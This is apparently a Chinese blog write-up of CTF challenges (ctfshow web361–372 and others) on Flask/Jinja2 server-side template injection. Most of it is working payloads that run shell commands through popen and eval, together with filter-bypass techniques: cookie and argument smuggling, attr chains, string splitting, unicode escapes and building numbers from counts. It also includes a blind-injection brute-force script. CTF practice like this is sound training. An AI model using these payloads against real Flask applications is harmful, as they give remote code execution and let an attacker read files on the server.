CTFSHOW-SSTI

发布时间 2023-08-09 10:10:20作者: Solitude0c

CTFSHOW-SSTI


web361

?name={{().__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web362

?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}

这里的x任意26个英文字母的任意组合都可以,同样可以得到__builtins__然后用eval就可以了。

还可以用全角符号

?name={{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web363

过滤了单双引号,用request

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

web364

get、post都不行,尝试一下cookie

get

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}

cookie

a=os;b=popen;c=cat /flag

[NCTF 2018]flask真香

别问为什么插了一道NSS的题(题目真香)

首先进入题目,右下角点别的有个报错界面,尝试ssti注入

{{7*7}}

返回49

接着绕

{{()['__cla''ss__'].__bases__[0]['__subcl''asses__']()[117].__init__.__globals__['__buil''tins__']['ev''al']("__im""port__('o''s').po""pen('cat /T*').read()")}}

直接来吧,过滤了一堆

主要是拼接绕过,让我再去看看大佬有没有别的方法

找到一个找子类好用的脚本(发现之前的内个用不了?)

import json
classes="""

"""
num=0
alllist=[]
result=""
for i in classes:
    if i==">":
        result+=i
        alllist.append(result)
        result=""
    elif i=="\n" or i==",":
        continue
    else:
        result+=i
#寻找要找的类,并返回其索引
for k,v in enumerate(alllist):
    if "warnings.catch_warnings" in v:
        print(str(k)+"--->"+v)
#117---> <class 'warnings.catch_warnings'>

[HNCTF 2022 WEEK3]ssssti

又插一道,憋问

上来先测试

?name={{7*7}}

返回49

尝试SSTI注入,发现输入__class__,输出Hacker,那就用request和cookie尝试,发现可以

直接上payload

笨办法

?name={{()[request.cookies.a][request.cookies.b][0][request.cookies.c]()[59][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g](request.cookies.h).read()}}

cookie

a=__class__;b=__bases__;c=__subclasses__;d=__init__;e=__globals__;f=__builtins__;g=open;h=flag

找到一个用的dict

?name={{self[request.cookies.c][request.cookies.d][request.cookies.e][request.cookies.f][request.cookies.g].open(request.cookies.z).read()}}

cookie

c=__dict__;d=_TemplateReference__context;e=lipsum;f=__globals__;g=__builtins__;z=flag

由这一串加request.cookie构造的

{{self.__dict__._TemplateReference__context.lipsum.__globals__.__builtins__.open("/flag").read()}}

[安洵杯 2020]Normal SSTI

这道题过滤了巨多的东西

首先就是{{}}

这里可以用{%print%}绕过

其次就是点、方括号

这里可以用|attr(“__class__”)绕过

得到

{%print(lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat /flag")|attr("read")())%}

最后最后,下划线也被过滤了,只能用到Unicode编码了

{%print(lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f")("os")|attr("popen")("\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067")|attr("read")())%}

[SCTF 2021]loginme

下载了附件,应该是Go源码,没学Go?,可恶,等我杀回来

web365

本来想用globals()[],可是[]好像被过滤了,尝试用attr替换,还是不行,不到为啥

?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}

cookie

a=cat /flag

web366

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

这里需要注意的是用lipsum.(request.values.b)是会500的

cookie

a=__globals__;b=cat /flag

大佬解法,下题通用

?name={{(x|attr(request.cookies.a)|attr(request.cookies.b)|attr(request.cookies.c))(request.cookies.d).eval(request.cookies.e)}}

cookie

a=__init__;b=__globals__;c=__getitem__;d=__builtins__;e=__import__('os').popen('cat /flag').read()

web367

过滤了os

偷懒了,同上的第二个,亲测好用

web368

过滤了{{}}

?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%print(aaa.open(request.cookies.x5).read())%}

cookie

x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=/flag

盲注

大佬脚本,收下俺的膝盖

import requests
import string
url ='http://bc880ec6-0f9b-432a-9f39-fe7c7193a6ee.challenge.ctf.show/?name={%set aaa=(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4)%}{%if aaa.eval(request.cookies.x5)==request.cookies.x6%}1341{%endif%}'
s=string.digits+string.ascii_lowercase+"{-}"
flag=''
for i in range(1,46):
	print(i)
	for j in s:
		x=flag+j
		headers={'Cookie':'''x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=open('/flag').read({0});x6={1}'''.format(i,x)}
		r=requests.get(url,headers=headers)
		#print(r.text)
		if("1341" in r.text):
			flag=x
			print(flag)
			break

web369

_和request被ban了?

不会啊不会啊,不会怎么办,找大佬

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

用我浅薄的知识揣测一下大佬

构造po="pop"     #利用dict()|join拼接得到
{% set po=dict(po=a,p=a)|join%}
 
等效于a=(()|select|string|list).pop(24),即a等价于下划线_
{% set a=(()|select|string|list)|attr(po)(24)%}
 
构造ini="___init__"
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
 
构造glo="__globals__"
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
 
构造geti="__getitem__"
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
 
构造built="__builtins__"
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
 
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
 
构造file='/flag'
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

这是大佬的简单解法?

还有脚本读文件盲注和反弹shell(等我,马上就学)

———————————咕咕~~————————————

web370

又ban了数字,给孩子本不富裕的知识雪上加霜?

桥豆麻袋,等等,数字被ban了,前面看到大佬的文章说全角符号可以绕过数字过滤,let me try try!!!

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

简简单单(叉会腰),这次深深感受到了知识的伟大

下面是大佬用count构造数字,length也行

几个c就代表几,比如c=1,ccc=3
{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
用~拼接   构造coun-24
{% set coun=(cc~cccc)|int%}
同web369
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(coun)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
调用chr()函数
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
构造file=”/flag
{% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%}
{%print(x.open(file).read()

web371

真的哭了,面向wp学习,,甚至我试了师傅的没有成功,还有DNSlog外带也试了,有回显,but NO data!!!

uTools_1691459310104

累了

DNSlog需要注意的是不能用带数字的域名,but,我换了还是不行,为什么为什么

web372

最后一道题,我快撑不住了

撑不住了

uTools_1691460549768